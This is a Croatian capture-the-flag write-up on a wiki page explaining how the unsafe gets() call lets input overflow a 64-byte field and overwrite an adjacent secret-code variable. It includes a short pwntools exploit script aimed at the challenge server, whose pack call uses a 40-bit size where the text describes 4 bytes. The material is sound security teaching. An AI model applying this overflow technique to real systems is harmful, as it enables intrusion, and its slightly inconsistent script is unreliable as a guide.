User Tools

Site Tools


variable_overwrite

This is an old revision of the document!


Tajne korneta

Rješenje:

Iz koda zadatka vidimo da se rješenje ispisuje nakon testiranja uvjeta:

if (krivi_odgovor.tajni_kod == TOCAN_KOD){...}

To znači da je potrebno zapisati unutar varijable krivi_odgovor.tajni_kod vrijednost jednaka TOCAN_KOD-u:

#define TOCAN_KOD 0x6c32257e //Dakle vrijednost 0x6c32257e

Na liniji koja sadrži:

gets(krivi_odgovor.odgovor);

je vidljivo da se koristi nesigurna funkcija gets koja omogućuje unos proizvoljne duljine u zadanu varijablu. Zbog toga je moguće preplaviti varijablu krivi.odgovor.tajni_kod.

Varijabla krivi_odgovor je definirana kao struct odgovor čija je struktura definirana sljedećim kodom:

struct odgovor {
char odgovor[ODGOVOR_MAX]; //Gdje je ODGOVOR_MAX jednak 64
uint32_t tajni_kod;
};

Dakle, na stogu će se, krečući se prema višim adresama, nalaziti polje duljine 64 čija memorija pripada varijabli odgovor, a nakon njega 4 bajta koja pripadaju varijabli_tajni kod (uint32 = 4 bajta). Pošto je omogućen unos u polje odgovor proizvoljne duljine, a nakon njega se nalazi varijabla čija se vrijednost koristi u testiranju uvjeta za dobivanje rješenja, potrebno je preplaviti polje odgovor s 64 bajta i zatim nadodati još 4 čije su vrijednosti definirane s TOCAN_KOD.

Primjer rješenja uz pomoć PWN tools-a

PWN tools

payload.py


  from pwn import * #import pwn tools-a
  p = remote("chal.platforma.hacknite.hr",11004)
  payload = b"A"*64 #padding
  payload += pack(0x6c32257e,40) #naredba pack formatira unos s little-endian zapisom
  payload += b"\n" #prekid veze
  p.writeline(payload)
  answer = p.readall()
  print(answer.decode())
variable_overwrite.1700065847.txt.gz · Last modified: 2025/12/01 11:40 (external edit)

Donate Powered by PHP Valid HTML5 Valid CSS Driven by DokuWiki